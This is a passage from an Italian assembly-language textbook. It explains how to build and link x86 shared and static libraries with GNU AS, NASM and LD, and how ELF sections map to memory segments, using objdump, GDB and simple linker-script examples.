Per compilare dei file sorgenti in modo che diventino una libreria dinamica, occorre usare delle opzioni particolari in fase di collegamento (*link*) e nei file sorgenti è necessario pubblicizzare le funzioni in modo particolare. A titolo di esempio si prendono due funzioni, rispettivamente per il calcolo della potenza e del fattoriale (sono già usate nella sezione 75.11 in programmi compilati in modo statico), contenute in due file separati. La coppia di listati è completa e vengono mostrate entrambe le versioni per GNU AS e NASM, evidenziando le direttive significative per ottenere una libreria dinamica.

```
# lib_pwr.s
.section .text
.globl f_pwr
.type f_pwr, @function
#
f_pwr:
    enter $4, $0
    pusha
    #
    mov   8(%ebp), %esi    # Base.
    mov   12(%ebp), %edi   # Esponente.
    #
    cmp   $0, %esi         # Se la base è pari a 0, restituisce 0.
    jz    f_pwr_end_0      #
    #
    cmp   $0, %edi         # Se l'esponente è pari a 0, restituisce 1.
```

```
    jz     f_pwr_end_1       #
    #
    dec    %edi              # Riduce l’esponente di una unità.
    push   %edi              # f_pwr (ESI, EDI) ==> EAX
    push   %esi              #
    call   f_pwr             #
    add    $8, %esp          #
    mul    %esi              # EDX:EAX = EAX*ESI
    mov    %eax, -4(%ebp)    # Salva il risultato.
    jmp    f_pwr_end_X       # Conclude la funzione.
    #
f_pwr_end_0:
    popa                     # Conclude la funzione con EAX = 0.
    mov $0, %eax             #
    leave                    #
    ret                      #
f_pwr_end_1:
    popa                     # Conclude la funzione con EAX = 1.
    mov $1, %eax             #
    leave                    #
    ret                      #
f_pwr_end_X:
    popa                     # Conclude la funzione con EAX pari
    mov -4(%ebp), %eax       # al valore salvato nella variabile
    leave                    # locale.
    ret                      #
```

```
# lib_fact.s
.section .text
.globl f_fact
.type f_fact, @function
#
f_fact:
    enter $4, $0
    pusha
    #
    mov    8(%ebp), %edi     # Valore di cui calcolare il fattoriale.
    #
    cmp    $1, %edi          # Il fattoriale di 1 è 1.
    jz     f_fact_end_1      #
    #
    mov    %edi, %esi        # ESI contiene il valore di cui si vuole
    dec    %esi              # il fattoriale, ridotto di una unità.
    #
    push   %esi              # f_fact (ESI) ==> EAX
    call   f_fact            #
    add    $4, %esp          #
```

```
    mul   %edi              # EDX:EAX = EAX*EDI
    mov   %eax, -4(%ebp)    # Salva il risultato.
    jmp   f_fact_end_X      # Conclude la funzione.
    #
f_fact_end_1:
    popa                    # Conclude la funzione con EAX = 1.
    mov $1, %eax            #
    leave                   #
    ret                     #
f_fact_end_X:
    popa                    # Conclude la funzione con EAX pari
    mov -4(%ebp), %eax      # al valore salvato nella variabile
    leave                   # locale.
    ret                     #
```

```
; lib_pwr.s
section .text
global f_pwr:function
;
f_pwr:
    enter 4,0
    pusha
    ;
    mov   esi, [ebp+8]      ; Base.
    mov   edi, [ebp+12]     ; Esponente.
    ;
    cmp   esi, 0            ; Se la base è pari a 0, restituisce 0.
    jz    f_pwr_end_0       ;
    ;
    cmp   edi, 0            ; Se l'esponente è pari a 0, restituisce 1.
    jz    f_pwr_end_1       ;
    ;
    dec   edi               ; Riduce l'esponente di una unità.
    push  edi               ; f_pwr (ESI, EDI) ==> EAX
    push  esi               ;
    call  f_pwr             ;
    add   esp, 8            ;
    mul   esi               ; EDX:EAX = EAX*ESI
    mov   [ebp-4], eax      ; Salva il risultato.
    jmp   f_pwr_end_X       ; Conclude la funzione.
    ;
f_pwr_end_0:
    popa                    ; Conclude la funzione con EAX = 0.
    mov eax, 0              ;
    leave                   ;
    ret                     ;
f_pwr_end_1:
```

```
    popa                   ; Conclude la funzione con EAX = 1.
    mov eax, 1             ;
    leave                  ;
    ret                    ;
f_pwr_end_X:
    popa                   ; Conclude la funzione con EAX pari
    mov eax, [ebp-4]       ; al valore salvato nella variabile
    leave                  ; locale.
    ret                    ;
```

```
; lib_fact.s
section .text
global f_fact:function
;
f_fact:
    enter 4,0
    pusha
    ;
    mov   edi, [ebp+8]     ; Valore di cui calcolare il fattoriale.
    ;
    cmp   edi, 1           ; Il fattoriale di 1 è 1.
    jz    f_fact_end_1     ;
    ;
    mov   esi, edi         ; ESI contiene il valore di cui si vuole
    dec   esi              ; il fattoriale, ridotto di una unità.
    ;
    push  esi              ; f_fact (ESI) ==> EAX
    call  f_fact           ;
    add   esp, 4           ;
    mul   edi              ; EDX:EAX = EAX*EDI
    mov   [ebp-4], eax     ; Salva il risultato.
    jmp   f_fact_end_X     ; Conclude la funzione.
    ;
f_fact_end_1:
    popa                   ; Conclude la funzione con EAX = 1.
    mov eax, 1             ;
    leave                  ;
    ret                    ;
f_fact_end_X:
    popa                   ; Conclude la funzione con EAX pari
    mov eax, [ebp-4]       ; al valore salvato nella variabile
    leave                  ; locale.
    ret                    ;
```

Come si può osservare, non basta dichiarare come globale il simbolo della funzione: occorre anche specificare il suo ruolo di funzione.

Ammesso che i file si chiamino, rispettivamente, '`lib_pwr.s`' e '`lib_fact.s`', si compilano come di consueto per ottenere i file oggetto relativi:

$ **as --gstabs -o lib_pwr.o lib_pwr.s** [*Invio*]

$ **as --gstabs -o lib_fact.o lib_fact.s** [*Invio*]

Ovvero:

$ **nasm -g -f elf -o lib_pwr.o lib_pwr.s** [*Invio*]

$ **nasm -g -f elf -o lib_fact.o lib_fact.s** [*Invio*]

Poi, per ottenere la libreria vera e propria, si procede con '**`ld`**' nel modo seguente (a questo punto non fa differenza l'origine dei file oggetto):

$ **ld -shared -o libmate.so lib_pwr.o lib_fact.o** [*Invio*]

Così facendo si ottiene il file '`libmate.so`' che costituisce la libreria voluta (la sigla «so» sta per *Shared object*).

76.2.3 Creare un programma che utilizza una libreria dinamica

Seguendo l'esempio della sezione precedente, si può creare un programma che si avvale della funzione '**`f_fact`**', contenuta nella libreria dinamica '`libmate.so`':

```
# op1!
#
.section .data
op1:    .int    5
#
.section .text
.globl _start
.extern f_fact
#
_start:
    push  op1         # f_fact (op1) ==> EAX
    call  f_fact      #
    add   $4, %esp    #
    #
    mov   %eax, %ebx  # Restituisce il valore del fattoriale,
    mov   $1, %eax    # ammesso che sia abbastanza piccolo
    int   $0x80       # da poter essere rappresentato come
                      # valore di uscita.
```

```
; op1!
;
section .data
op1:    dd    5
;
```

```
section .text
global _start
extern f_fact
;
_start:
    push  long [op1] ; f_fact (op1) ==> EAX
    call  f_fact     ;
    add   esp, 4     ;
    ;
    mov   ebx, eax   ; Restituisce il valore del fattoriale,
    mov   eax, 1     ; ammesso che sia abbastanza piccolo
    int   0x80       ; da poter essere rappresentato come
                     ; valore di uscita.
```

La compilazione per produrre il file oggetto avviene nel modo consueto:

`$ as --gstabs -o fact.o fact.s` [*Invio*]

Ovvero:

`$ nasm -g -f elf -o fact.o fact.s` [*Invio*]

Poi, la trasformazione in file eseguibile richiede l'uso di opzioni particolari per '**`ld`**':

```
$ ld -L . ↩
↪   -dynamic-linker /lib/ld-linux.so.2 ↩
↪   -lmate ↩
↪   -o fact ↩
↪   fact.o [Invio]
```

Vanno osservate alcune opzioni:

Opzione	Descrizione
`-L .`	Indica di cercare la libreria nella directory corrente.
`-dynamic-linker /lib/ld-linux.so.2`	Indica di usare, al momento dell'avvio del programma che si sta creando, il «collegatore dinamico» costituito dal file '`/lib/ld-linux.so.2`'.
`-lmate`	Indica di instaurare il collegamento dinamico con la libreria «mate», ovvero il file '`libmate.so`' (che secondo l'opzione '**`-L .`**' si trova nella directory corrente).

Dato il modo in cui viene usata l'opzione '**`-l`**', si comprende che i file delle librerie devono avere sempre un nome che inizia per '`lib`...'.

Dall'ultimo comando mostrato si ottiene il file eseguibile '**`fact`**' nella directory corrente, il quale ha bisogno della libreria '`libmate.so`'. Se si vuole avviare questo programma, è necessario che il file della libreria si trovi in uno dei percorsi previsti. In questo caso si

trova provvisoriamente nella directory corrente e si può utilizzare la variabile di ambiente '**LD_LIBRARY_PATH**' per istruire di conseguenza il collegatore dinamico:

$ **LD_LIBRARY_PATH="." ./fact ; echo $?** [*Invio*]

```
120
```

Con '**ldd**' si può verificare la dipendenza del programma dalle librerie, ma anche in questo caso va utilizzata la variabile di ambiente '**LD_LIBRARY_PATH**':

$ **LD_LIBRARY_PATH="." ldd fact** [*Invio*]

```
        linux-gate.so.1 =>  (0xffffe000)
        libmate.so => ./libmate.so (0xb7f46000)
```

76.2.4 Creare un file che utilizza una libreria dinamica standard

Così come è possibile utilizzare le proprie librerie dinamiche, si possono sfruttare benissimo quelle scritte da altri autori. Per poter utilizzare le funzioni comuni del linguaggio C, ci si può avvalere della libreria omonima, '**c**', ovvero '`libc.so`', che di norma si trova nella directory '`/lib/`'. A titolo di esempio viene mostrato un programma che emette un messaggio attraverso lo standard output:

```
# hello.s
#
.section .data
msg:    .ascii  "Ciao mondo!\n\0"
#
.section .text
.globl _start
.extern printf
.extern exit
#
_start:
    push  $msg         # printf (msg)
    call  printf       #
    add   $4, %esp     #
    #
    push  $0           # exit (0)
    call  exit         #
```

```
; hello.s
;
section .data
msg:    db      "Ciao mondo!", 0x0A, 0x00
;
section .text
global _start
```

```
extern printf
extern exit
;
_start:
    push  long msg    ; printf (msg)
    call  printf      ;
    add   esp, 4      ;
    ;
    push  long 0      ; exit (0)
    call  exit        ;
```

Il programma utilizza due funzioni, '**printf**' e '**exit**', la prima per visualizzare un messaggio e la seconda per concluderne il funzionamento. La funzione '**printf**' richiede come primo argomento (in questo caso anche l'unico) l'indirizzo iniziale di una stringa terminata da un byte completamente a zero: nel sorgente per GNU AS il codice di interruzione di riga e lo zero vengono inseriti con le sequenze '**\n\0**', mentre in quello per NASM i codici relativi sono messi direttamente in forma numerica.

Il sorgente si compila come di consueto per ottenere il file oggetto. Successivamente, il collegamento avviene con il comando seguente:

```
$ ld -dynamic-linker /lib/ld-linux.so.2 ↩
↪   -lc ↩
↪   -o hello ↩
↪   hello.o [Invio]
```

Rispetto al caso descritto nella sezione precedente, si può osservare che manca l'opzione '**-L**', in quanto la libreria va cercata nei percorsi standard previsti; inoltre, conformemente all'esempio già visto, per indicare la libreria è stato usato solo il nome '**c**', da cui l'opzione '**-lc**'.

Dal momento che la libreria si trova nei percorsi standard, per avviare il programma non servono accorgimenti particolari:

```
$ ./hello [Invio]
```

```
Ciao mondo!
```

Con '**ldd**' si può verificare la dipendenza del programma dalle librerie:

```
$ ldd hello [Invio]
```

```
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/tls/libc.so.6 (0xb7e71000)
        /lib/ld-linux.so.2 (0xb7fb3000)
```

76.2.5 Librerie statiche

È utile sapere come sono organizzate le «librerie statiche» in un sistema GNU. Di per sé sono semplicemente file oggetto, compilati in modo da rendere pubblici i simboli delle funzioni a cui si può essere interessati esternamente, ma raccolti in un archivio che costituisce la libreria.

```
$ ar -cvq libmate.a lib_pwr.o lib_fact.o [Invio]
```

Il comando appena mostrato crea la libreria «mate» nel file '`libmate.a`', composta dai file oggetto '`lib_pwr.o`' e '`lib_fact.o`'. Il file della libreria è un semplice archivio «ar», che non prevede la compressione.

Il modo più semplice per collegare un programma che utilizza una libreria statica di questo genere è quello di indicare il file della libreria come se fosse un file oggetto:

```
$ ld -o fact fact.o libmate.a [Invio]
```

76.3 Dal sorgente all'immagine in memoria

Ciò che succede a partire da un file sorgente fino al programma in esecuzione in memoria è definito da un procedimento molto complesso, anche se il compilatore e il sistema operativo consentono di ignorarlo quasi completamente. Qui si mostra un esempio banale, con tutti i passaggi fino ad arrivare all'immagine in memoria, senza però entrare nella questione dell'uso di librerie dinamiche.

La dimostrazione che appare si basa implicitamente sul formato ELF, sia per i file oggetto rilocabili, sia per i file eseguibili, senza entrare per ora nel dettaglio del formato stesso.

76.3.1 File oggetto

Di norma, la compilazione di un sorgente produce un file oggetto ***rilocabile***, ma non eseguibile. Questo file oggetto contiene il codice ottenuto dall'interpretazione del sorgente, diviso in sezioni (come descritto nel sorgente stesso) che possono essere ricomposte, successivamente, con una cerca libertà.

Figura 76.26. Dalle sezioni del file sorgente a quelle del file oggetto rilocabile.

A titolo di esempio si può prendere il file seguente (che riproduce quanto si vede nella figura), compilandolo nel modo consueto (qui si mostra solo l'uso di GNU AS, per semplicità). Si suppone che il file sorgente si chiami '`prg.s`':

```
.section .data
aaa:   .int 77
.section .bss
.lcomm bbb, 4
.section .text
.globl _start
_start:
    mov   $1, %eax
    mov   $0, %ebx
    int   $0x80
```

$ **as -o prg.o prg.s** [*Invio*]

Con Objdump si può analizzare il contenuto del file oggetto generato:

$ **objdump -x prg.o** [*Invio*]

```
prg.o:     file format elf32-i386
prg.o
architecture: i386, flags 0x00000010:
HAS_SYMS
start address 0x00000000

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .text         0000000c  00000000  00000000  00000034  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  1 .data         00000004  00000000  00000000  00000040  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  2 .bss          00000004  00000000  00000000  00000044  2**2
                  ALLOC
SYMBOL TABLE:
00000000 l    d  .text  00000000 .text
00000000 l    d  .data  00000000 .data
00000000 l    d  .bss   00000000 .bss
00000000 l       .data  00000000 aaa
00000000 l     O .bss   00000004 bbb
00000000 g       .text  00000000 _start
```

Anche solo intuitivamente, si comprende che il file oggetto riproduce le tre sezioni del sorgente, assegnando loro degli attributi. Per esempio, la sezione '**`.text`**' deve essere caricata in memoria, usata in sola lettura e può essere eseguita; in modo analogo, la sezione '**`.data`**' deve essere caricata in memoria in lettura-scrittura (l'informazione è implicita, in quanto non appare l'attributo '**`READONLY`**'), ma non può essere eseguita; la sezione '**`.bss`**' viene allocata soltanto e non prevede limitazioni particolari, a parte il fatto di non poter essere eseguibile.

Per il momento, l'indirizzo iniziale di riferimento è 00000000_{16}.

Un file oggetto di questo tipo non può essere eseguito perché non contiene le informazioni necessarie al caricamento in memoria.

76.3.2 File eseguibile

Per ottenere un file eseguibile, i file oggetto che servono vengono raccolti da un collegatore (*link editor*) che riordina i vari componenti e produce un file con le informazioni necessarie al caricamento in memoria.

Figura 76.29. Dalle sezioni del file oggetto rilocabile ai segmenti del file oggetto eseguibile.

Continuando nell'ipotesi della sezione precedente, si passa a generare un file eseguibile a partire dal file oggetto precedente:

$ **ld -o prg prg.o** [*Invio*]

Con Objdump si può analizzare il contenuto del file eseguibile generato:

$ **objdump -x prg** [*Invio*]

```
prg:     file format elf32-i386
prg
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08048074

Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x00000080 memsz 0x00000080 flags r-x
    LOAD off    0x00000080 vaddr 0x08049080 paddr 0x08049080 align 2**12
         filesz 0x00000004 memsz 0x00000008 flags rw-

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .text         0000000c  08048074  08048074  00000074  2**2
```

```
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  1 .data         00000004  08049080  08049080  00000080  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  2 .bss          00000004  08049084  08049084  00000084  2**2
                  ALLOC
SYMBOL TABLE:
08048074 l    d  .text  00000000 .text
08049080 l    d  .data  00000000 .data
08049084 l    d  .bss   00000000 .bss
00000000 l    d  *ABS*  00000000 .shstrtab
00000000 l    d  *ABS*  00000000 .symtab
00000000 l    d  *ABS*  00000000 .strtab
08049080 l       .data  00000000 aaa
08049084 l     O .bss   00000004 bbb
08048074 g       .text  00000000 _start
08049084 g       *ABS*  00000000 __bss_start
08049084 g       *ABS*  00000000 _edata
08049088 g       *ABS*  00000000 _end
```

Il file eseguibile è organizzato in ***segmenti*** che possono riferiti, ognuno, a una o più sezioni; ma il file può contenere anche sezioni che non sono riconducibili a un segmento. Il segmento, a differenza della sezione pura e semplice, deve descrivere in che modo il contenuto deve essere caricato in memoria e quali caratteristiche deve avere durante il funzionamento.

Dal rapporto generato da Objdump, precisamente nel riepilogo intitolato '**`Program Header`**', si può vedere cosa deve essere caricato in memoria e in quale posizione (gli indirizzi si riferiscono alla memoria virtuale). Si notano solo due segmenti, riferiti rispettivamente alla sezione '**`.text`**', contenente il codice da eseguire, e alla sezione '**`.data`**'.

Il segmento che riguarda la sezione '**`.text`**' deve essere caricato in memoria a partire dall'indirizzo 08048000_{16}, con permessi di lettura ed esecuzione; il segmento che si riferisce alla sezione '**`.data`**' deve essere caricato in memoria a partire dall'indirizzo 08049080_{16}, con permessi di lettura e scrittura. Non esiste un segmento per la sezione '**`.bss`**' in quanto non contiene dati e si sa comunque che deve essere allocata a partire dall'indirizzo 08049084_{16} (i permessi di lettura e scrittura sono impliciti in questo caso).

Quello che appare indicato come indirizzo iniziale è la posizione in cui si trova la prima istruzione da eseguire, pertanto è la posizione a cui deve passare il controllo il sistema di caricamento, dopo che è stata prodotta l'immagine del processo elaborativo in memoria. Questo indirizzo è interno al primo segmento, il quale è lungo 128_{10}byte (80_{16}byte), pertanto, tra l'indirizzo iniziale e quello ci devono essere delle informazioni amministrative, mentre nello spazio rimanente (esattamente 12 byte) ci sono le istruzioni vere e proprie.

> I 116 byte iniziali del primo segmento, di questo esempio, contengono precisamente l'intestazione ELF e la descrizione dei due segmenti del programma.

76.3.3 Immagine del processo nella memoria virtuale

Il sistema operativo legge il file eseguibile ed estrapola i segmenti, collocandoli in memoria, allocando anche lo spazio non inizializzato (privo pertanto di un segmento nel file eseguibile). Oltre a questo impila sul fondo le variabili di ambiente, gli argomenti della chiamata, il nome del file avviato effettivamente,... Per ultimo, su questa pila, mette la quantità di argomenti ricevuti nella riga di comando e lì posiziona il registro ***ESP***; successivamente, l'incremento di questo registro implica la crescita della pila dei dati.

In un sistema GNU/Linux i processi elaborativi utilizzano un'area della memoria virtuale che va da 08048000_{16} a $BFFFFFFF_{16}$, come se ognuno di questi disponesse della stessa dotazione di memoria e fosse sempre tutta propria. È il sistema operativo che crea questa astrazione e alloca o libera la memoria quando serve. Si osservi che lo spazio non allocato non può essere utilizzato e se il programma vi volesse fare riferimento (senza seguire la procedura prevista per l'allocazione) si otterrebbe un ***errore di segmentazione*** (*segmentation fault*).

Figura 76.31. Dal file oggetto eseguibile all'immagine del processo nella memoria virtuale.

informazioni sulla struttura del file
inizio: 0x08048074

0x08048000 r−x
.text *12 byte*
B801000000
BB00000000
CD80

0x08049080 rw−
.data *4 byte*
0000004D

.bss *4 byte*

caricamento

08048000
intestazione ELF
descrizione dei segmenti
08048074 B801000000 BB00000000 CD80 *(.text)* *08048079*
0804807A *spazio non utilizzato* *0804907F*
08049080 0000004D *(.data)* *08049083*
08049084 00000000 *(.bss)* *08049087*
ESP
quantità di argomenti
nome del file avviato
argomenti della riga di comando
variabili di ambiente
BFFFFFFF

Continuando nell'ipotesi delle sezioni precedenti, si può eseguire il programma sotto il controllo di GDB:

`$` **`gdb prg`** [*Invio*]

Per fissare uno stop occorre indicare un indirizzo che punti almeno all'inizio della seconda istruzione (se si pretende di puntare alla prima istruzione, GDB poi non si ferma). Sapendo che la prima istruzione è all'indirizzo 08048074_{16} e che occupa cinque byte, si può usare l'indirizzo 08048079_{16} per indicare l'inizio della seconda:

`(gdb)` **`break *0x08048079`** [*Invio*]

`(gdb)` **`run`** [*Invio*]

Si vuole verificare che i dati siano dove previsto:

(gdb) **print (int)*0x08049080** [*Invio*]

```
$1 = 77
```

(gdb) **print (int)*0x08049084** [*Invio*]

```
$2 = 0
```

Il secondo indirizzo fa riferimento a una memoria non inizializzata che viene posta inizialmente a zero; pertanto il risultato coincide con le previsioni. Si può verificare la presenza dell'intestazione ELF e della descrizione dei segmenti:

(gdb) **print /x (char[116])*0x08048000** [*Invio*]

```
$3 = {0x7f, 0x45, 0x4c, 0x46, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x2, 0x0, 0x3, 0x0, 0x1, 0x0, 0x0, 0x0, 0x74, 0x80, 0x4, 0x8,
0x34, 0x0, 0x0, 0x0, 0xb0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x34, 0x0,
0x20, 0x0, 0x2, 0x0, 0x28, 0x0, 0x7, 0x0, 0x4, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x80, 0x4, 0x8, 0x0, 0x80, 0x4, 0x8, 0x80, 0x0, 0x0,
0x0, 0x80, 0x0, 0x0, 0x0, 0x5, 0x0, 0x0, 0x0, 0x0, 0x10, 0x0, 0x0, 0x1, 0x0,
0x0, 0x0, 0x80, 0x0, 0x0, 0x0, 0x80, 0x90, 0x4, 0x8, 0x80, 0x90, 0x4, 0x8,
0x4, 0x0, 0x0, 0x0, 0x8, 0x0, 0x0, 0x0, 0x6, 0x0, 0x0, 0x0, 0x0, 0x10, 0x0,
0x0}
```

(gdb) **print (char[4])*0x08048000** [*Invio*]

```
$4 = "\177ELF"
```

Se si tenta di raggiungere un'area di memoria non allocata, si ottiene un errore:

(gdb) **print /x (int)*0x0804A000** [*Invio*]

```
Cannot access memory at address 0x804a000
```

Il registro ***ESP*** si trova effettivamente in una zona abbastanza profonda della memoria virtuale:

(gdb) **info registers** [*Invio*]

```
…
esp            0xbf87a540        0xbf87a540
…
```

(gdb) **quit** [*Invio*]

76.3.4 Allineamento dei segmenti in memoria

Riprendendo il rapporto generato da Objdump, va osservato che i segmenti da caricare in memoria sono «allineati»:

```
Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x00000080 memsz 0x00000080 flags r-x
    LOAD off    0x00000080 vaddr 0x08049080 paddr 0x08049080 align 2**12
         filesz 0x00000004 memsz 0x00000008 flags rw-
```

È indicato che l'allineamento è da blocchi di 4096 byte (1000_{16}byte) ovvero 2^{12} byte. Ciò comporta un allontanamento significativo del secondo segmento dal primo (da 08048080_{16} che sarebbe il primo byte libero dopo il primo segmento, si salta a 08049080_{16}). Questo distacco lo produce il collegatore, o *link editor* (GNU LD), evidentemente per qualche motivo importante: in un sistema GNU/Linux la memoria virtuale è organizzata in pagine da 4 Kibyte (4096 byte) e non sarebbe possibile distinguere i permessi di accesso se i segmenti occupassero la stessa pagina.

È il caso di osservare che, nell'esempio mostrato, il distacco appare solo negli indirizzi che i segmenti devono prendere in memoria, perché nel file eseguibile, invece, sono collocati uno di seguito all'altro:

```
Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x00000080 memsz 0x00000080 flags r-x
    LOAD off    0x00000080 vaddr 0x08049080 paddr 0x08049080 align 2**12
         filesz 0x00000004 memsz 0x00000008 flags rw-
```

76.3.5 Script per il collegamento

GNU LD,[1] ovvero il programma che si usa per collegare i file oggetto rilocabili, consente di definire la struttura del file eseguibile da generare, con un certo grado di dettaglio, attraverso quello che viene definito uno script (precisamente *link script* o *linker script*).

Esiste una configurazione predefinita di come deve essere realizzata la struttura del file eseguibile e la si può consultare con l'opzione '**--verbose**':

$ **ld --verbose** [*Invio*]

```
…
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
              "elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR("/usr/i486-linux-gnu/lib32"); SEARCH_DIR("/usr/local/lib32");…
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = 0x08048000); . = 0x08048000 + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .hash           : { *(.hash) }
```

```
     …
     …
     …
    .debug_weaknames 0 : { *(.debug_weaknames) }
    .debug_funcnames 0 : { *(.debug_funcnames) }
    .debug_typenames 0 : { *(.debug_typenames) }
    .debug_varnames  0 : { *(.debug_varnames) }
    /DISCARD/ : { *(.note.GNU-stack) }
  }
```

Con l'opzione '**-T**' è possibile rimpiazzare completamente la configurazione predefinita, indicando lo script da caricare al suo posto. A titolo di esempio viene mostrato uno script molto semplificato che può essere usato con il programma apparso nelle sezioni precedenti, producendo un risultato simile:

```
ENTRY (_start)
SECTIONS {
    . = 0x08048000 + SIZEOF_HEADERS;
    .text . : { *(.text) }
    .data ALIGN (0x1000) : { *(.data) }
    .bss . : {
        *(.bss)
        *(COMMON)
    }
}
```

La direttiva che appare nella prima riga, dichiara il simbolo in corrispondenza del quale associare il punto di inizio; infatti, secondo le convenzioni comuni, il simbolo '**_start**' è quello che in un sorgente in linguaggio assemblatore segnala l'inizio del programma:

```
ENTRY (_start)
```

Successivamente appare un blocco, all'interno del quale si dichiara la configurazione delle sezioni del programma. La prima direttiva di questo blocco definisce l'indirizzo iniziale di riferimento, ottenuto sommando a 08048000_{16} la dimensione dell'intestazione (ovvero l'intestazione ELF vera e propria, assieme alla descrizione dei segmenti):

```
    . = 0x08048000 + SIZEOF_HEADERS;
```

Di seguito appare la descrizione delle tre sezioni tipiche: '**.text**', '**.data**' e '**.bss**'. La prima è la più semplice, in quanto si limita a dichiarare di collocare la sezione '**.text**' a partire dalla posizione corrente (quella raggiunta in quel punto), rappresentata da un punto singolo, '**.**', purché ci siano effettivamente sezioni con quel nome da collocare:

```
    .text . : { *(.text) }
```

In questo tipo di direttiva, il punto che rappresenta la posizione corrente è facoltativo (nel senso che può essere omesso); ciò che appare tra parentesi graffe è il contenuto che la nuova sezione '**.text**' deve avere e in questo caso rappresenta la somma delle sezioni '**.text**' dei file oggetto rilocabili. In particolare, l'asterisco iniziale serve a precisare che in mancanza

di tali sezioni nei file oggetto rilocabili, non si deve creare la sezione corrispondente nel file eseguibile.

La sezione '**.data**' viene dichiarata in modo simile, con la differenza che, al posto del punto, viene indicato di spostare in avanti l'indirizzo in modo che sia un multiplo di 1000_{16}, ovvero di 4096_{10}. In questo modo si vuole ottenere che la sezione '**.data**' sia distanziata nel file eseguibile e che così distante sia anche il segmento caricato in memoria. In pratica, l'espressione '**ALIGN (0x1000)**' si traduce nel calcolo di un indirizzo adeguato all'allineamento che si intende ottenere, di 4096 byte:

```
    .data ALIGN (0x1000) : { *(.data) }
```

L'ultima sezione, '**.bss**', è un po' più articolata, in quanto prevede l'inclusione delle sezioni con lo stesso nome provenienti dai file oggetto rilocabili (se ce ne sono), con l'aggiunta di tutto ciò che costituisce dati non inizializzati, rappresentato dall'espressione '***(COMMON)**'.

Riprendendo il programma di esempio già visto nelle sezioni precedenti, ammesso che lo script appena descritto sia contenuto nel file 'config.ld', il file oggetto 'prg.o' potrebbe essere elaborato nel modo seguente:

$ **ld -T config.ld -o prg prg.o** [*Invio*]

Ecco cosa si può vedere con Objdump:

$ **objdump -x prg** [*Invio*]

```
prg:     file format elf32-i386
prg
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08048074

Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x00000080 memsz 0x00000080 flags r-x
    LOAD off    0x00001000 vaddr 0x08049000 paddr 0x08049000 align 2**12
         filesz 0x00000004 memsz 0x00000008 flags rw-

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .text         0000000c  08048074  08048074  00000074  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  1 .data         00000004  08049000  08049000  00001000  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  2 .bss          00000004  08049004  08049004  00001004  2**2
                  ALLOC
SYMBOL TABLE:
08048074 l    d  .text  00000000 .text
08049000 l    d  .data  00000000 .data
08049004 l    d  .bss   00000000 .bss
00000000 l    d  *ABS*  00000000 .shstrtab
00000000 l    d  *ABS*  00000000 .symtab
```

```
00000000 l    d  *ABS*  00000000 .strtab
08049000 l       .data  00000000 aaa
08049004 l     O .bss   00000004 bbb
08048074 g       .text  00000000 _start
```

Come si vede, questa volta il segmento riferito alla sezione '**.data**' parte esattamente da 08049000_{16}, ma così vale anche per la posizione della stessa sezione '**.data**' nel file eseguibile. In pratica, ciò comporta che il file eseguibile sia un po' più grande rispetto a prima, mentre l'utilizzo della memoria non cambia in modo sostanziale.

Sempre a titolo di esempio, si può provare a vedere cosa succede se si evita di allineare la sezione '**.data**':

```
ENTRY (_start)
SECTIONS {
    . = 0x08048000 + SIZEOF_HEADERS;
    .text . : { *(.text) }
    .data . : { *(.data) }
    .bss . : {
        *(.bss)
        *(COMMON)
    }
}
```

In questo modo, dato che il contenuto della sezione '**.text**' è molto breve, succede che il contenuto di tutte le sezioni finisce nello stesso segmento, il quale, di conseguenza, deve avere tutti i permessi necessari:

$ **ld -T config.ld -o prg prg.o** [*Invio*]

$ **objdump -x prg** [*Invio*]

```
prg:     file format elf32-i386
prg
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08048074

Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x00000084 memsz 0x00000088 flags rwx

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .text         0000000c  08048074  08048074  00000074  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  1 .data         00000004  08048080  08048080  00000080  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  2 .bss          00000004  08048084  08048084  00000084  2**2
                  ALLOC
SYMBOL TABLE:
```

```
08048074 l    d  .text  00000000 .text
08048080 l    d  .data  00000000 .data
08048084 l    d  .bss   00000000 .bss
00000000 l    d  *ABS*  00000000 .shstrtab
00000000 l    d  *ABS*  00000000 .symtab
00000000 l    d  *ABS*  00000000 .strtab
08048080 l       .data  00000000 aaa
08048084 l     O .bss   00000004 bbb
08048074 g       .text  00000000 _start
```

Naturalmente, anche il file eseguibile torna a essere di dimensioni più piccole.

Sia chiaro che gli esempi di script apparsi qui non possono essere validi in generale, ma servono solo per comprendere a grandi linee il meccanismo. Per utilizzare seriamente questo strumento occorre prima uno studio approfondito del manuale di GNU LD.

76.3.6 Osservazioni sui simboli

